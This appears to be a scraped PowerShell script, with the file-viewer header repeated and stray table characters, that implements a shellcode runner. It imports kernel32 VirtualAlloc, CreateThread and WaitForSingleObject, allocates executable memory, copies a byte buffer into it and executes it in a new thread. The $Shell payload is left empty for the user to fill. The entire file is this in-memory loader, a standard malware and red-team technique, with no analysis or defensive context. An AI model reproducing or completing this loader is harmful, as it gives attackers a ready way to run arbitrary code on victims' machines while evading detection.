20 lines
839 B
PowerShell
20 lines
839 B
PowerShell
|
$Shell = ""
|
||
|
|
Add-Type @"
|
||
|
|
public class Win
|
||
|
|
{
|
||
|
|
[DllImport("kernel32")]
|
||
|
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||
|
|
|
||
|
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||
|
|
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
|
||
|
|
|
||
|
|
[DllImport("kernel32", CharSet=CharSet.Ansi)]
|
||
|
|
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||
|
|
}
|
||
|
|
"@
|
||
|
|
[Byte[]] $buf = $Shell
|
||
|
|
[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
|
||
|
|
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
|
||
|
|
$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
|
||
|
|
[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
|